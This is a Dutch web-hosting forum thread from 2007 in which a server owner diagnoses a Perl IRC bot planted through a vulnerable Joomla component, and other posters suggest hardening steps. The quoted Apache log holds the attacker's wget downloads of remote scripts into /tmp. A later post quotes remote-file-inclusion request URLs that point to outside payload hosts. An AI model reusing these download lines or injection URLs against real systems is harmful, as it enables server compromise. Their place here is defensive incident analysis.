Perl process op 100% cpu.

[1mind]

Hi,

Ik kom net op m'n server een raar gebeuren tegen. Ik heb een /tmp die niet executable is. Toch vond ik vandaag mijn server op 100% cpu load. Na te kijken zag ik een dir ".x" in mijn /tmp met daarin 3 files: apached en twee .txt files die beide een perl script bevatte. In de /tmp zelf stond een kr.pl wat hetzelfde script was als die twee .txt files. met "top" zag ik het process id van het perl process dat zoveel cpu vrat. met ps auxf zag ik dat process met de omschrijving [syst]

Ik het het process gekilled, die .x dir geremoved de kr.pl weggegooid en een reboot van de server gedaan. Het lijkt niet terug te komen nu. Tenminste niet direct. Ik heb in de error log van apache het volgende gevonden:



[Wed Aug 1 07:31:50 2007] [error] [client 65.55.210.40] File does not exist: /data/hostpage/robots.txt
[Wed Aug 1 07:33:58 2007] [error] [client 68.142.212.176] File does not exist: /data/hostpage/robots.txt
[Wed Aug 1 10:16:25 2007] [error] [client 72.30.177.81] File does not exist: /data/hostpage/robots.txt
[Wed Aug 1 11:09:25 2007] [error] [client 74.6.66.62] File does not exist: /data/hostpage/robots.txt
--11:10:15-- ethan.trylinux.org/albums/userpics/10006/lol
=> `/tmp/temp'
Resolving ethan.trylinux.org... 68.47.165.23
Connecting to ethan.trylinux.org|68.47.165.23|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 38,431 (38K) [text/plain]

0K .......... .......... .......... ....... 100% 93.55 KB/s

11:10:16 (93.55 KB/s) - `/tmp/temp' saved [38431/38431]

--11:20:11-- mitglied.lycos.de/Saschalike/bot2.pl
=> `/tmp/kr.pl'
Resolving mitglied.lycos.de... 212.78.204.20
Connecting to mitglied.lycos.de|212.78.204.20|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3,684 (3.6K) [text/plain]

0K ... 100% 36.60 MB/s

11:20:11 (36.60 MB/s) - `/tmp/kr.pl' saved [3684/3684]

[Wed Aug 1 12:51:17 2007] [error] [client 74.6.75.46] File does not exist: /data/hostpage/robots.txt
[Wed Aug 1 13:20:51 2007] [error] [client 38.99.203.110] File does not exist: /data/hostpage/robots.txt
sh: /id;ls: No such file or directory
[Wed Aug 1 13:49:16 2007] [error] [client 72.30.177.94] File does not exist: /data/hostpage/robots.txt
[Wed Aug 1 14:36:44 2007] [notice] SIGHUP received. Attempting to restart


Hoe kan dit in godsnaam gebeuren? Is er ergens een module wat dit kan veroorzaken in apache? Het perl process liep onder user www-data, wat onder mijn debian systeem de user voor apache is.

Ik zou graag wat aanknopingspunten horen als jullie ideeen hebben waar te gaan zoeken en hoe dit in de toekomst te voorkomen.

Thanks!!!

[phreak]

Je kan perlscript dmv een lek script vanaf remote starten, dan hoeft er niets in je /tmp te staan..

[maxnet]

Ik kom net op m'n server een raar gebeuren tegen. Ik heb een /tmp die niet executable is. Toch vond ik vandaag mijn server op 100% cpu load. Na te kijken zag ik een dir ".x" in mijn /tmp met daarin 3 files: apached en twee .txt files die beide een perl script bevatte.

Scripts kunnen altijd uitgevoerd worden, of de /tmp nou no-exec is of niet.
Dat heeft alleen betrekking op programma's.


Geen CGI scripts toestaan, en de dl,exec,system,passthru,popen PHP functies uitzetten of safe-mode gebruiken.

[axeos]

@1Mind

Wat er is gebeurd is dat scriptkiddies een gaatje in je server security gevonden hebben.

Als je bijv kijkt naar ethan.trylinux.org zie je dat deze site gehackt is.
Daar staat nu een flood perl scriptje op: ethan.trylinux.org/albums/userpics/10006/lol

De folders bij somige software zijn chmod 777 waardoor iedereen van buitenaf er files op kunnen zetten.

Om het op te lossen dien je te zorgen dat je security van de server goed is, dat betekend bijv:

- modsecurity installeren en goed configuren
- bijv apache recompilen met phpSuExec

Deze twee simpele acties houden 95% van de scriptkiddies buiten de deur.

Note: dat je nu de files uit je tmp hebt gehaald betekend niet dat het gat gedicht is.. je zal dus echt de oorzaak moeten oplossen, anders komen ze gewoon weer terug.

[Technotop]

Zorg even dat je programma's zoals: Wget, Curl etc chmod naar 700, bespaard je veel ongein zoals je die nu hebt :)

+ mod_security

[swiep]

Bij dit soort gevallen dien je al gauw te overwegen om z.s.m. een clean install te doen op een nieuw systeem en vervolgens de tips hierboven uit te voeren. Wat belangrijk is, is het achterhalen van de oorzaak om dit in het vervolg te voorkomen en preventieve maatregelen te nemen zoals door anderen hierboven reeds aangegeven.

Niet proberen te patchen om de reeds geleden schade te beperken, want de kans dat je wat mist is te riskant.

[axeos]

Bij dit soort gevallen dien je al gauw te overwegen om z.s.m. een clean install te doen op een nieuw systeem en vervolgens de tips hierboven uit te voeren. Wat belangrijk is, is het achterhalen van de oorzaak om dit in het vervolg te voorkomen en preventieve maatregelen te nemen zoals door anderen hierboven reeds aangegeven.

Niet proberen te patchen om de reeds geleden schade te beperken, want de kans dat je wat mist is te riskant.

Helemaal correct.. maar uiteraard ook niet een nieuwe install doen en verder geen acties uitvoeren (want dan is het een kwestie van tijd voordat het weer gebeurd) ;)

[Wido]

Bij dit soort gevallen dien je al gauw te overwegen om z.s.m. een clean install te doen op een nieuw systeem en vervolgens de tips hierboven uit te voeren. Wat belangrijk is, is het achterhalen van de oorzaak om dit in het vervolg te voorkomen en preventieve maatregelen te nemen zoals door anderen hierboven reeds aangegeven.

Niet proberen te patchen om de reeds geleden schade te beperken, want de kans dat je wat mist is te riskant.omg, jij gaat bij een Perl inject je machine al herinstalleren?

Dit kan gewoon binnen komen via een lek component in iets als Joomla!

safemode in PHP zou ik niet doen, net zoals shell_exec e.d. uitzetten, dat is langs het probleem heen werken.

wget, curl e.d. 700 chmodden is al een goed begin, zo kunnen dit soort dingen niet meer gebeuren.

De volgende stap is mod_ruid oid om je Apache onder de eigen gebruiker te draaien, dan kan je precies zien door welke virtualhost dit gebeurde.

Een re-install zou ik zeker niet doen, dat lost niets op.

[swiep]

omg, jij gaat bij een Perl inject je machine al herinstalleren?
Uiteraard, want je weet niet wat er nog meer aan schade is veroorzaakt en hoeveel 'sleepers' er nog aanwezig zijn. Het risico nemen dat data van klanten of jezelf (nog verder) verspreidt wordt is onacceptabel.

Het gaat hier niet om een simpel pakketje wat niet werkt maar een breuk in je veiligheid.

De bedoeling is dat je het voorkomt zodat een herinstall in eerste instantie al niet nodig is.

Daarnaast zei ik dat het een overweging is, wat die doet laat ik over aan zijn inzicht en ik dring voor zover ik kan zien niet op dat iemand direct klakkeloos herinstalleert op mijn commando.

[Wido]

Als je zijn verhaal goed leest zie je dat het script van "www-data" was, dus het is onder een gebruiker uitgevoerd met bijna geen privileges.

Daarnaast heb ik dit bot zelf nog even gedownload en het enige wat deze doet is naar een IRC poort connecten en daar op verdere commando's wachten.

Ook dit zal onder de gebruiker "www-data" gebeuren, nog steeds met weinig privileges.

Dat data van je klanten zomaar op straat komt, dat zal niet gebeuren met dit script-kidd0 ding, dan moeten ze echt met zwaarder geschut komen.

Het is dus zaak dat je eerst snapt wat er gebeurd, want als je nu een volledig nutteloze re-install gaat doen, dan zal het daarna gewoon terug komen.

[Digiover]

Daarnaast heb ik dit bot zelf nog even gedownload en het enige wat deze doet is naar een IRC poort connecten en daar op verdere commando's wachten.

Ook dit zal onder de gebruiker "www-data" gebeuren, nog steeds met weinig privileges. Het lijkt inderdaad een DDoS botje. Opzich niks kwalijks, tenzij het begint te DoS-en (100% CPU?...). Het zal waarschijnlijk via een lek script in /tmp geplaatst zijn. Ik kwam toevallig zaken als het volgende tegen in onze statistieken (*zucht*):

/fr/service_onderwerp.asp?owid=87/default.php?name=http;//juhu,cba,pl/z/z/safe.txt?
/index.asp?site=BE/modules/mods_full/shopping_cart/includes/login.php?_SESSION[docroot
_path]='http;//www,ricksk8,xpg.com.br/echo.txt?
Helaas gebeurt dit nog steeds heel veel.. Dan vind ik iets als Mpack toch wat ingenieuser...

Moet toch maar weer eens een afgeschermd testbakkie installeren voor zulke botjes :)

[bami82]

Heb het nog nooit geprobeerd maar vraag me af of dit gaat werken om perl scripts te voorkomen, een nieuwe linux groep aan te maken, iedereen behalve apache daar lid van te maken, de perl exec. lid te maken van die groep en chmod 750 of iets dergelijks.

[1mind]

Bleek dus een lek joomla component te zijn op 1 v.d. virtual hosts.
php draaide bij mij al in safe_mode. Ik weet dat dit niet echt een security ding genoemd kan worden, maar helpt toch een klein beetje mee. Zeker op machines waar mensen zelf met die joomla components aan het spelen zijn.

Ik heb inderdaad al die zaken als curl etc. nu ge-chmod. mod_security draaide al, maar heb ik in config aangescherpt. Verder een intense inspectie van het systeem uitgevoerd en het blijkt allemaal reuze mee te vallen. Probleem kwam ook voort omdat die persoon de dir waar dat brakke component instond even gechmod had naar 777. Tsja... dat maakte het de heren script-kiddies wel makkelijk.

Anyway, het gewraakte component (was zelfbouw van klant) is inmiddels gedeinstalleerd. Alles lijkt nu weer normaal te werken. De 100% cpu kwam niet van een DDoS actie, maar dat scriptje stond te "ping-pong-en" naar een irc kanaal in een nogal domme while loop.

Ik wil iedereen iig harstikke bedanken voor jullie reacties.

[Active.]

Dat krijg je he als je niet goed je server update. Vorige week nog dezelfde probleem bij iemand opgelost. Via een lek kon een script kid toegang krijgen tot de server en er stonden mp3 bestanden. De server verbruikte zo'n 600Gig aan dataverkeer per dag. De hackers van allofmp3 zaten hier achter ben ik via via achter gekomen.